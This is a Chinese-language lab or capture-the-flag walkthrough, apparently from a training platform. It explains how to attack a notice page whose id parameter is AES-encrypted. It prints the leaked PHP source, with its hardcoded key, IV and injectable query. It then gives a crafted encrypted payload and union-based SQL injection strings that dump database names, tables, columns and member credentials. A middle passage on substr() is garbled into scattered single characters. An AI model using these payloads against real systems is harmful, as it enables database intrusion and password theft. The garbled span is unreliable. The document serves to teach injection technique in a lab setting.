背景介绍
此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?
实训目标
1、掌握信息泄露的方式;
2、了解AES加解密;
3、了解PHP的基本语法;
4、掌握手工SQL注入;
5、了解MySQL数据库的结构;
解题方向
通过SQL注入方式,获取WEB业务系统的账号密码进行登录。
实验步骤
1、通过观察网页,发现登录按钮下面的公告可以点进去
2、进入之后发现URL后面的参数为一连串数字,应该是id等于这个解码后的数字转到此页面,故我们直接进入news页面,也可以直接使用工具暴力搜索目录
进入后,发现目录文件,下载list.zip
压缩后打开发现解码过程进行代码审计
<?php
header('content-type:text/html;charset=utf-8'); //发起原始的http报头
require_once '../config.php'; //加载config.php的代码(个人理解为数据库查询代码)
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); //打开加密算法和模块(算法名称、加密模块位置、加密模式CBC、加密模式的路径)
//mcrypt_module_open打开成功返回家密描述符 $td = 加密描述符
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); //初始加密(加密描述符,加密密码,偏移量)
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//解密数据 data密文
mcrypt_generic_deinit($td);//结束加密,执行清理工作
mcrypt_module_close($td);//关闭加密模块
if(substr(trim($data),-6)!=='_mozhe'){ //判断后6个字符是否等于_mozhe
echo '<script>window.location.href="/index.php";</script>'; //不等于重定向页面
}else{
return substr(trim($data),0,strlen(trim($data))-6); //等于则回显数据
}
}
$id=decode($_GET['id']); //$_GET[]传递参数id
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
相关函数
mcrypt-module-open
由此看出算法为rijndael(AES),128输入,CBC工作模式,
mcrypt-generic-init
第二个参数为密钥,第三个参数为初始向量
mdecrypt-generic
base64_decode
trim() 函数
substr
substr(trim(
d
a
t
a
)
,
−
6
)
的
含
义
是
返
回
t
r
i
m
(
data),-6)的含义是返回trim(
data),−6)的含义是返回trim(data)后6位
substr(trim(
d
a
t
a
)
,
0
,
s
t
r
l
e
n
(
t
r
i
m
(
data),0,strlen(trim(
data),0,strlen(trim(data))-6)返回trim($data)中除后6位的其他子字符串
可知解码过程如下:
1、将data二次base64解码
2、然后进行AES,128位,CBC解码,如图
因为在网站的AES解码中,有输出为base64,故只需解码base64一次
得到字符串1_mozhe,由题知id=1_mozhe
故可知id=1_mozhe时他会跳转到公告这个页面
即是先对通过?id=注入的数据解密得到明文进行判断是否后六个字符为_mozhe,只需反向加密构造payload即可
构造payload
先对?id=之后的数据进行AES加密,加密模式CBC,加密位数128位,加密密码ydhaqPQnexoaDuW3,加密偏移量2018201920202021,然后又进行两次base64加密。填充为zeropadding。
注意:AES加密后默认的输出结果是base64编码格式的,所以后续只需进行一次base64加密即可。
构造payload:-1 union select 1,2,3,4_mozhe
AES加密:xgd58ipTrnx8VzS*JicqCo3+zFFzhay5byFU3cjbdeI=
base64加密:eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=
获取显示位:
————————————————
爆库爆表爆列爆字段
爆库: -1 union select 1,database(),3,4_mozhe
爆表:-1 union select 1,group_concat(table_name),3,4 frominformation_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit0,1_mozhe
爆列:-1 union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_name=‘StormGroup_member’ limit 0,1_mozhe
爆字段:-1 union select 1,group_concat(name,password),3,4 fromStormGroup_member limit 0,1_mozhe
6.得到key